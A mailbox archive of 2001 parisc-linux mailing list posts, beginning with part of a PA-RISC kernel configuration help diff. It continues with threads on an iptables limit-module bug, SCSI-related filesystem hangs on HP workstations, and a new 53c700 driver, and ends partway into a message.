+CONFIG_PA7100
+  This is the processor type of your CPU. This information is used for
+  optimizing purposes. In order to compile a kernel that can run on
+  all 32-bit PA-RISC processors, you can specify PA7000 here.  If you
+  have a 64-bit machine, you may need to select PA8x00 here and say
+  'y' to '64-bit kernel' below.
+
+  The kernel will not necessarily run on earlier architectures than
+  the one you have chosen, e.g. a PA7200 optimised kernel will run on
+  a PA8000 cpu, but not a PA7000.
+
+  If you don't know what type of CPU you have, you can refer to the
+  Hardware Database at http://hwdb.parisc-linux.org/
+
+64-bit kernel
+CONFIG_PARISC64
+  Selecting this option will build a 64-bit kernel.  Some 64-bit machines
+  require a 64-bit kernel (eg L2000, A500) while other machines don't
+  have 64-bit firmware (eg C360, J200), so you may need to enable 32-bit
+  PDC below if you select this option.  Note that 64-bit userspace is
+  not yet supported but having a 64-bit kernel can improve some memory
+  operations like load, operate and store. Some applications (eg graphics) 
+  might benefit from that depending on what they are doing.
+
+GSC/Gecko bus support
+CONFIG_GSC
+  This option gives to the kernel the capability to manage GSC buses 
+  of HP computers. More than that, if you have systems with GSC slots, 
+  LASI, EISA or Dino (GSCtoPCI) bridge, this option is also compulsory 
+  if you want your box working.
+
+  By default, say Y.
+
+LASI I/O support
+CONFIG_GSC_LASI
+  LASI is one type of controller embedded in HP workstations and 
+  servers. It controls some I/O devices like PS2 keyboard and mouse, 
+  audio or serial interface. The best advice is to keep it in your 
+  configuration, if you are not sure about that point.
+
+WAX support
+CONFIG_GSC_WAX
+  WAX is an EISA bus converter for PA-RISC systems. It can be found in
+  older systems like B/C/D/R-class machines. This option enables this 
+  converter.
+
+GSCtoPCI/DINO PCI support
+CONFIG_GSC_DINO
+  By selecting this item, you add PCI support for Dino PCI Host Bus bridge.
+  PCI devices are sometimes embedded in GSC add-on cards (aka "card-mode 
+  Dino"). Note that only recent systems need it like B132L, C200 but since
+  you can find EISA card-mode dino in 715, it is safer to keep it in your
+  conviguration.
+
+LBA/Elroy PCI support
+CONFIG_PCI_LBA
+  Elroy is a bridge between Ropes bus and PCI on several machines. It can
+  be found on any newer workstations and servers which have 4X-PCI. It 
+  allows the system to communicate with PCI cards. Thus, you should leave 
+  it on especially if you have one of the listed HP machines. 
+
+  By default, say Y.
+
+SuperIO support
+CONFIG_SUPERIO
+  SuperIO is a chip that integrates a good part of I/O for the newest 
+  B/C/J-XXXX workstations. Serial, USB, IDE and Floppy controllers are 
+  built in that chip. That's why you must select it, if your box is 
+  corresponding to those series. 
+
+Chassis LCD and LED support
+CONFIG_CHASSIS_LCD_LED
+  HP boxes have LED or LCD indicator on the front in order to show some 
+  basic information like status for example. With this enabled, you can
+  have this help also available. Also, you can control your LED/LCD 
+  display via the files living in /proc/pdc.
+
+  By default, say Y.
+
+Kernel support for SOM binaries
+CONFIG_BINFMT_SOM
+  SOM (Spectrum Object Model) is a format for libraries and executables 
+  used by HP. Saying Y here will enable your kernel to run SOM binaries.
+  As a result, you could run HP-UX executables.
+
+LASI/ASP builtin parallel-port
+CONFIG_PARPORT_GSC
+  If you have a LASI or ASP controller in your HP box and you want to use 
+  the parallel port, a good idea will be to keep this item in your
+  configuration.
+
+HP Lasi SCSI support
+CONFIG_SCSI_LASI700
+  If you have an old HP system like a 712, you should keep this on.
+  This will enable your SCSI controller and give you access to 
+  SCSI devices. For quite recent computers, you may be able to turn 
+  this off. 
+
+  By default, say Y.
+
+Lasi ethernet
+CONFIG_LASI_82596
+  This option adds the driver for one of most used network chips 
+  integrated in LASI chip. It is also known as Apricot driver. It is 
+  based on an Intel 82596 chip. If you do not know what is your 
+  hardware, it is strongly recommended to keep is on.
+
+Support for Lasi/Dino PS2 port
+CONFIG_GSC_PS2
+  The PS2 connector of the HP boxes looks like a standard PC connector.
+  If you want to use the PS2 keyboard and mouse, you must keep this on.
+  Anyway, some HP workstations and servers have this kind of interfaces
+  but not the ports you can plug in your devices. Thus, the best thing
+  to do anyway is to let this choice turned on.
+
+serial port on GSC support
+CONFIG_SERIAL_GSC
+  For most of the HP servers and for some workstations that do not have 
+  its video card supported yet, you will need to get the console output
+  via the serial port. As a result, you could interact with the box via
+  a VT or a serial cable link to another computer.
+
+STI console
+CONFIG_STI_CONSOLE
+  The Standard Text Interface could correspond to the VGA support for PC.
+  HP developped STI as a mechanism between CPU and graphics devices. 
+  Thus, if you want your console on your screen like any other PC linux
+  does, leave this option on.
+  If you do not have any success with your console output, we advice you
+  to check if you have checked the STI frame buffer option, aka 
+  CONFIG_FB_STI, in your configuration. Some models are happy when the 
+  two of them are enabled and some others prefer to have only this one 
+  only.
+  Anyway, if you failed to have the screen output, you can switch to the 
+  serial console output.
+
+PA Harmony audio driver
+CONFIG_SOUND_HARMONY
+  This option enables the audio part of the LASI controller. Since it is 
+  standard to all the boxes, this option should be set for any 
+  workstation except the newest ones. Servers do not really need audio. 
+  Then, you can unset it.
 
 #
 # A couple of things I keep forgetting:

--------------26A9B85DFCB537BD6F5E9A14--





From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unaligned access with iptables limit support
Date: Sat, 13 Oct 2001 05:08:12 +0000 (UTC)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110130227590.13555-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620617 27877 80.91.229.3 (22 Nov 2014 01:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 23:29:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDE9F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 23:29:41 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id FAA26330
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 05:08:12 GMT
X-X-Sender: <sonny@lefou.zayda.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12618

I am trying to set up my b132l as a firewall.  So I compiled up iptables
as kernel modules and tried running my favorite firewall script.  It uses
limit support to keep my logs from overflowing.  At any rate when I try to
enter a rule using limits like so:

iptables -t filter -A LDROP -p tcp -m limit --limit 2/s -j LOG --log-level
info --lo g-prefix "TCP Dropped "

I get this on the console:

iptables(428): unaligned access to 0x4020d0cf at ip=0x401fc767
iptables(428): unaligned access to 0x4020d0d3 at ip=0x401fc76f

The module ipt_limit.o does not get loaded by the kernel autoloader.  Is
supsect the bug is with the iptables program.  I downloaded the source for
the latest version and in attempting to compile it got a linker error.

ld -shared -o extensions/libipt_limit.so extensions/libipt_limit_sh.o
ld: BFD internal error, aborting at ../../bfd/elf32-hppa.c line 939 in
hppa_build_one_stub

ld: Please report this bug.

make: *** [extensions/libipt_limit.so] Error 1

The debian version is 1.2.2 and the downloaded source is 1.2.3.  Has
anyone seen anything like this?

Thanks,
Sonny





From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access with iptables limit support
Date: Fri, 12 Oct 2001 22:35:20 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20011012223520.M653@tausq.org>
References: <Pine.LNX.4.33.0110130227590.13555-100000@lefou.zayda.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620617 27884 80.91.229.3 (22 Nov 2014 01:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 23:36:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22550482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 23:36:03 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ezqbiaaa for parisc-linux@lists.parisc-linux.org; Fri, 12 Oct 2001 22:31:27 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15sHSC-0007em-00; Fri, 12 Oct 2001 22:35:20 -0700
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0110130227590.13555-100000@lefou.zayda.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12619

> iptables -t filter -A LDROP -p tcp -m limit --limit 2/s -j LOG --log-level
> info --lo g-prefix "TCP Dropped "
> 
> I get this on the console:
> 
> iptables(428): unaligned access to 0x4020d0cf at ip=0x401fc767
> iptables(428): unaligned access to 0x4020d0d3 at ip=0x401fc76f

yes, this is a bug in iptables.

> ld -shared -o extensions/libipt_limit.so extensions/libipt_limit_sh.o
> ld: BFD internal error, aborting at ../../bfd/elf32-hppa.c line 939 in
> hppa_build_one_stub
> 
> ld: Please report this bug.
> 
> make: *** [extensions/libipt_limit.so] Error 1
> 
> The debian version is 1.2.2 and the downloaded source is 1.2.3.  Has
> anyone seen anything like this?

it needs to link with gcc instead of with ld.

feel free to file a bug. you can point them to build logs at:
http://buildd.debian.org/fetch.php?&pkg=iptables&ver=1.2.3-2&arch=hppa&stamp=1001284133&file=log&as=raw

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 'reliably' hangs during mke2fs
Date: Fri, 12 Oct 2001 23:02:59 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0110122248050.766-100000@ibanez.csuder.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620617 27889 80.91.229.3 (22 Nov 2014 01:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 00:03:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79CDB482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 00:03:22 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9D61AC09049
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 23:01:12 -0700 (PDT)
Original-Received: from localhost (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABD59786;
	Fri, 12 Oct 2001 23:03:00 -0700 (PDT)
X-Sender: csuder@ibanez.csuder.net
Xref: news.gmane.org gmane.linux.ports.parisc:12620

Hi,

I'm trying to get a 735/125 going using the 0.9.2 install CD. Old, I
know.... Whenever it's time to make the fs I get up to here :

Creating filesystem (for 2.2 kernels only)...
mke2fs 1.20, 25-May-2001 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
91968 inodes, 183808 blocks
9190 blocks (5.00%) reserved for the super user
First data block=0
6 block groups
32768 blocks per group, 32768 fragments per group
15328 inodes per group
Superblock backups stored on blocks: 
        32768, 98304, 163840

Writing inode tables: done                            
Writing superblocks and filesystem accounting information: 

with the cursor behind the last line. 

Any magic boot parameter that might help here ? Is there a 'cheat-sheet'
for everything that can be specified at the boot prompt ? 

By the same token, I've tried to install it on a C110 with the HD on the
FWSCSI. It appears to work but within an hour or two the filesystem gets
severly corrupted. 
I have it running now with 'today's kernel' after reinstalling and getting
the kernel on as early as possible. Fingers crossed....

Any hints and pointers on SCSI issues appreciated,

	Christian 





From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Followup: 735/125 hangs...
Date: Fri, 12 Oct 2001 23:56:03 -0700 (PDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0110122341540.766-100000@ibanez.csuder.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620618 27896 80.91.229.3 (22 Nov 2014 01:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 00:56:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFA53482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 00:56:06 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9D6s0C15751
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 23:54:00 -0700 (PDT)
Original-Received: from localhost (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABD59891;
	Fri, 12 Oct 2001 23:56:04 -0700 (PDT)
X-Sender: csuder@ibanez.csuder.net
Xref: news.gmane.org gmane.linux.ports.parisc:12621

FWIW, 

I repartitioned the HD, from boot-swap-root to boot-root-swap. Formatting
the filesystem went until after the message about tune2fs
appears. Powercycled and did not format again but selected 'use existing
fs'. Hangs with : 'ioctl: LOOP_CLR_FD: No such device or address' when
installing the system image. 

Tried the same excercise again and got lots of 

 - block = 4244379656, count = 1
EXT2-fs error (device sd(8,2)): ext2_free_blocks: Freeing blocks not in
datazone - block = 4269604550, count = 1

Hmmm.... saw the same when the C110 had problems. 

Used the same CD on a 712/80 with no problems at all !

	Christian





From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Followup: 735/125 hangs...
Date: Sat, 13 Oct 2001 11:43:59 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20011013114359.A1681@dogbert.localdomain>
References: <Pine.LNX.4.21.0110122341540.766-100000@ibanez.csuder.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620618 27906 80.91.229.3 (22 Nov 2014 01:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 03:44:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id E87F6482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 03:44:06 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sLKs-0007Ei-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 11:44:02 +0200
Original-Received: (qmail 5930 invoked from network); 13 Oct 2001 09:43:59 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 09:43:59 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sLKq-0000RK-00; Sat, 13 Oct 2001 11:44:00 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0110122341540.766-100000@ibanez.csuder.net>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sLKs-0007Ei-00*b2FLPSE/vWY* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12622

Hello,

My 720/50 had similiar problems. I don't know what kind of SCSI chipset
you have, but I needed to add the following kernel command line
parameter to get my SCSI disks to work properly:

sim700=noneg:0xff,nodisc:0xff or sim700=nodisc:0xff

This more or less solved my problems. Writing the superblock info still
took some time (think 10 minutes), but it got it done. :-)

In a message from Richard Hirst a few days ago, when he checked in a new
driver for the 53c700 and 53c710 chips:

The main improvements in this driver are sync transfers (where the scsi
chip allows it) and tagged commands.  Also disconenct/reselect works
properly, so there is no longer any need to boot with sim700=nodisc:0xff
(or similar).

So I guess if you compile the latest kernel, and make a new debian
bootfloppies lifimage to boot from, you should be fine. Alternatively,
the options above might also fix your problems with the LOOP_CTL thingy.

When in doubt, do a network install. :-)

Regards,

Albert

On Fri, 12 Oct 2001, Christian Suder wrote:

> 
> FWIW, 
> 
> I repartitioned the HD, from boot-swap-root to boot-root-swap. Formatting
> the filesystem went until after the message about tune2fs
> appears. Powercycled and did not format again but selected 'use existing
> fs'. Hangs with : 'ioctl: LOOP_CLR_FD: No such device or address' when
> installing the system image. 
> 
> Tried the same excercise again and got lots of 
> 
>  - block = 4244379656, count = 1
> EXT2-fs error (device sd(8,2)): ext2_free_blocks: Freeing blocks not in
> datazone - block = 4269604550, count = 1
> 
> Hmmm.... saw the same when the C110 had problems. 
> 
> Used the same CD on a 712/80 with no problems at all !
> 
> 	Christian
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access with iptables limit support
Date: Sat, 13 Oct 2001 11:00:57 +0000
Lines: 83
Approved: news@gmane.org
Message-ID: <20011013110057.B16722@hp.is>
References: <Pine.LNX.4.33.0110130227590.13555-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620618 27919 80.91.229.3 (22 Nov 2014 01:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 05:01:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D45F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 05:01:06 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9DB0vp16803;
	Sat, 13 Oct 2001 11:00:57 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110130227590.13555-100000@lefou.zayda.com>; from sonny@aspersion.org on Sat, Oct 13, 2001 at 05:08:12AM +0000
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12623

On Sat, Oct 13, 2001 at 05:08:12AM +0000, Sonny Cook wrote:
> I am trying to set up my b132l as a firewall.  So I compiled up iptables
> as kernel modules and tried running my favorite firewall script.  It uses
> limit support to keep my logs from overflowing.  At any rate when I try to
> enter a rule using limits like so:
> 
> iptables -t filter -A LDROP -p tcp -m limit --limit 2/s -j LOG --log-level
> info --lo g-prefix "TCP Dropped "

This is prehaps totally unrelated to what you are getting, but I recently
found another bug in iptables in the samr area:

[root@localhost root]# iptables --version
iptables v1.2.3

[root@localhost root]# uname -a
Linux localhost.localdomain 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown

[root@localhost root]# cat /etc/redhat-release
Red Hat Linux release 7.2 (Enigma)

# Flush the iptables
[root@localhost root]# iptables -F

# Reject all access to port 25 tcp
[root@localhost root]# iptables -A INPUT -p tcp --syn --dport 25 -j REJECT

# Testing the rule. Connect is refused (normal)
[root@localhost root]# telnet 127.0.0.1 25
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused

# Insert a rule that allows on connection per day to the SMTP port.
[root@localhost root]# iptables -I INPUT -p tcp --dport 25 -m limit --limit
+1/day --limit-burst 1 -j ACCEPT

# The connection is let through because of the limit (again normal).
[root@localhost root]# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 localhost.localdomain ESMTP Sendmail 8.11.6/8.11.6; Thu, 20 Sep 2001+19:50:12 GMT
quit
221 2.0.0 localhost.localdomain closing connection
Connection closed by foreign host.

# Try again, blocked because of limit (normal)
[root@localhost root]# telnet 127.0.0.1 25
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused

# Insert a rule that allows access to port 21 tcp, nothing to do with port 25.
[root@localhost root]# iptables -I INPUT -p tcp --dport 21 -j ACCEPT

# Try to connect again to port 25 and it goes through (weird!)
[root@localhost root]# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 localhost.localdomain ESMTP Sendmail 8.11.6/8.11.6; Thu, 20 Sep 2001+19:51:19 GMT
quit
221 2.0.0 localhost.localdomain closing connection
Connection closed by foreign host.


So basicly, I have a rule that says only one connection to the smtp port
a day and it works untill I insert a new rule (and that rule doesnt have
to have anything to do with the first one) and by magic it breaks the
first one.

Beware of the limit support :-)

Anyway, if you guys are going to lookat this, it should be nice to
know about this bug also.

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] disks not recognized by new 53c700/53c710 driver
Date: Sat, 13 Oct 2001 16:21:03 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20011013162103.A3604@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="1yeeQ81UyVL57Vl7"
X-Trace: ger.gmane.org 1416620618 27923 80.91.229.3 (22 Nov 2014 01:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:21:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4D3482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:21:11 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sPf0-0002qZ-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 16:21:06 +0200
Original-Received: (qmail 6833 invoked from network); 13 Oct 2001 14:21:02 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 14:21:02 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sPex-000115-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 16:21:03 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sPf0-0002qZ-00*KkhOspgMTHI* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12624

--1yeeQ81UyVL57Vl7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

(was [parisc-linux-cvs] linux rhirst)
Reply-To:=20
In-Reply-To: <200110082146.PAA00640@puffin.external.hp.com>

Hello,

I just gave 2.4.9=20

On Mon, 08 Oct 2001, Richard Hirst wrote:

> CVSROOT:	/home/cvs/parisc
> Module name:	linux
> Changes by:	rhirst	01/10/08 15:46:04
>=20
> Modified files:
> 	.              : Makefile=20
> 	drivers/scsi   : Config.in Makefile=20
> 	arch/parisc/debian-configs: 32 64 default=20
> Added files:
> 	drivers/scsi   : 53c700.c 53c700.h 53c700.scr NCR_D700.c=20
> 	                 NCR_D700.h README.53c700 lasi700.c lasi700.h=20
>=20
> Log message:
> New driver from James Bottomley for 53c700 and 53c710.  Much improved
> over sim700.c, and already mostly in Linus' tree.  Major differences
> are support for sync working where the chip supports it, tagged
> commands, and disconnect/reselect works (sim700 had problems on
> 53c700, requiring that people booted with sim700=3Dnodisc:0xff).
> I've left the old driver in the source for now, just commented out its
> Config question.  Will remove it completely if there are no problems.
> Tested on 712, 715/50, 715/75, B180, C360 (32 and 64 bit kernels).
>=20
>=20
>=20
> _______________________________________________
> parisc-linux-cvs mailing list
> parisc-linux-cvs@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux-cvs

--1yeeQ81UyVL57Vl7
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7yE3PDg+hOeRZtkMRAmMtAJ9ZAmKwBByS33EeeQfrPWDCQsq0PgCbBpWt
FJqKznpMSwJGDXf7Y+wk6wM=
=J4b8
-----END PGP SIGNATURE-----

--1yeeQ81UyVL57Vl7--




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:27:18 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <20011013162718.B3604@dogbert.localdomain>
References: <20011013162103.A3604@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="rS8CxjVDS/+yyDmU"
X-Trace: ger.gmane.org 1416620619 27924 80.91.229.3 (22 Nov 2014 01:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
